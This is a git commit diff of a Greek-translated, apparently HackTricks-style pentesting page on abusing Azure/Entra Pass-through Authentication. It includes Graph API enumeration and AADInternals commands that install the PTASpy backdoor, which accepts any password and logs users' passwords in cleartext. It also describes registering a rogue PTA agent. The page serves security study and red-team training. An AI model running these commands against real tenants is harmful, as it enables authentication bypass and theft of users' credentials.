Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2025-07-24 11:26:25 +00:00
parent 4a75f7d3e1
commit ce1c78eff5
@@ -4,38 +4,72 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η Πιστοποίηση Pass-through του Azure Active Directory (Azure AD) επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα παρέχει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει τα κόστη του IT helpdesk επειδή οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Azure AD, αυτή η δυνατότητα **επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory**.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Η δυνατότητα pass-through authentication του Microsoft Entra επιτρέπει στους χρήστες σας να **συνδέονται τόσο σε τοπικές όσο και σε εφαρμογές που βασίζονται στο cloud χρησιμοποιώντας τους ίδιους κωδικούς πρόσβασης**. Αυτή η δυνατότητα προσφέρει στους χρήστες σας μια καλύτερη εμπειρία - ένας λιγότερος κωδικός πρόσβασης για να θυμούνται, και μειώνει το κόστος της υποστήριξης IT, καθώς οι χρήστες σας είναι λιγότερο πιθανό να ξεχάσουν πώς να συνδεθούν. Όταν οι χρήστες συνδέονται χρησιμοποιώντας το Microsoft Entra ID, αυτή η δυνατότητα επικυρώνει τους κωδικούς πρόσβασης των χρηστών απευθείας με το τοπικό Active Directory σας.
Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης** **δεν είναι** όπως στην PHS.
Στην PTA οι **ταυτότητες** είναι **συγχρονισμένες** αλλά οι **κωδικοί πρόσβασης δεν είναι** όπως στην PHS.
Η πιστοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται από έναν **πράκτορα πιστοποίησης** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
Η αυθεντικοποίηση επικυρώνεται στο τοπικό AD και η επικοινωνία με το cloud γίνεται μέσω ενός **authentication agent** που εκτελείται σε έναν **τοπικό διακομιστή** (δεν χρειάζεται να είναι στον τοπικό DC).
### Authentication flow
<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
1. Για να **συνδεθεί** ο χρήστης ανακατευθύνεται στο **Azure AD**, όπου στέλνει το **όνομα χρήστη** και τον **κωδικό πρόσβασης**
2. Οι **διαπιστευτήριες** είναι **κρυπτογραφημένες** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός πράκτορας πιστοποίησης** συλλέγει τις **διαπιστευτήριες** από την ουρά και τις **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Πράκτορας πιστοποίησης pass-through"** ή **πράκτορας PTA.**
4. Ο **πράκτορας** **επικυρώνει** τις διαπιστευτήριες με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη.
2. Οι **διαπιστευτήρια** είναι **κρυπτογραφημένα** και τοποθετούνται σε μια **ουρά** στο Azure AD
3. Ο **τοπικός authentication agent** συλλέγει τα **διαπιστευτήρια** από την ουρά και τα **αποκρυπτογραφεί**. Αυτός ο πράκτορας ονομάζεται **"Pass-through authentication agent"** ή **PTA agent.**
4. Ο **πράκτορας** **επικυρώνει** τα διαπιστευτήρια με το **τοπικό AD** και στέλνει την **απάντηση** **πίσω** στο Azure AD, το οποίο, αν η απάντηση είναι θετική, **ολοκληρώνει τη σύνδεση** του χρήστη.
> [!WARNING]
> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλες τις **διαπιστευτήριες** από την ουρά (σε **καθαρό κείμενο**).\
> Μπορεί επίσης να **επικυρώσει οποιεσδήποτε διαπιστευτήριες** στο AzureAD (παρόμοια επίθεση με το Skeleton key).
> Εάν ένας επιτιθέμενος **παραβιάσει** την **PTA** μπορεί να **δεί** όλα τα **διαπιστευτήρια** από την ουρά (σε **καθαρό κείμενο**).\
> Μπορεί επίσης να **επικυρώσει οποιαδήποτε διαπιστευτήρια** στο AzureAD (παρόμοια επίθεση με το Skeleton key).
### On-Prem -> cloud
### Enumeration
Εάν έχετε **διαχειριστική** πρόσβαση στον **διακομιστή Azure AD Connect** με τον **πράκτορα PTA** να εκτελείται, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε μια πίσω πόρτα** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για πιστοποίηση):
From Entra ID:
```bash
Install-AADIntPTASpy
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Ελέγξτε αν ο πράκτορας εκτελείται στον τοπικό διακομιστή:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting
Αν έχετε **admin** πρόσβαση στον **Azure AD Connect server** με τον **PTA** **agent** να τρέχει, μπορείτε να χρησιμοποιήσετε το **AADInternals** module για να **εισάγετε ένα backdoor** που θα **επικυρώνει ΟΛΟΥΣ τους κωδικούς πρόσβασης** που εισάγονται (έτσι όλοι οι κωδικοί πρόσβασης θα είναι έγκυροι για την αυθεντικοποίηση):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> Αν η **εγκατάσταση αποτύχει**, αυτό πιθανώς οφείλεται σε ελλείποντα [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
Είναι επίσης δυνατό να **δείτε τους κωδικούς πρόσβασης σε καθαρό κείμενο που αποστέλλονται στον πράκτορα PTA** χρησιμοποιώντας το παρακάτω cmdlet στη μηχανή όπου εγκαταστάθηκε η προηγούμενη πίσω πόρτα:
```bash
Get-AADIntPTASpyLog -DecodePasswords
```
Αυτή η πίσω πόρτα θα:
- Δημιουργήσει έναν κρυφό φάκελο `C:\PTASpy`
@@ -43,16 +77,14 @@ Get-AADIntPTASpyLog -DecodePasswords
- Εισάγει το `PTASpy.dll` στη διαδικασία `AzureADConnectAuthenticationAgentService`
> [!NOTE]
> Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy "απελευθερώνεται" και πρέπει να επανεγκατασταθεί.
### Cloud -> On-Prem
> Όταν η υπηρεσία AzureADConnectAuthenticationAgent επανεκκινείται, το PTASpy απελευθερώνεται και πρέπει να επανεγκατασταθεί.
> [!CAUTION]
> Αφού αποκτήσουμε **GA privileges** στο cloud, είναι δυνατό να **καταχωρήσουμε έναν νέο PTA agent** ρυθμίζοντάς τον σε μια **μηχανή ελεγχόμενη από επιτιθέμενο**. Μόλις ο agent είναι **ρυθμισμένος**, μπορούμε να **επαναλάβουμε** τα **προηγούμενα** βήματα για **να αυθεντικοποιηθούμε χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτήσουμε τους κωδικούς πρόσβασης σε καθαρό κείμενο.**
> Μετά την απόκτηση **GA privileges** στο cloud, είναι δυνατό να **καταχωρηθεί ένας νέος PTA agent** και μπορεί να **επανεπαναληφθούν** τα **προηγούμενα** βήματα για **αυθεντικοποίηση χρησιμοποιώντας οποιονδήποτε κωδικό πρόσβασης** και επίσης, **να αποκτηθούν οι κωδικοί πρόσβασης σε καθαρό κείμενο.**
### Seamless SSO
Είναι δυνατό να χρησιμοποιήσουμε το Seamless SSO με το PTA, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το εδώ:
Είναι δυνατό να χρησιμοποιηθεί το Seamless SSO με PTA, το οποίο είναι ευάλωτο σε άλλες καταχρήσεις. Ελέγξτε το στο:
{{#ref}}
seamless-sso.md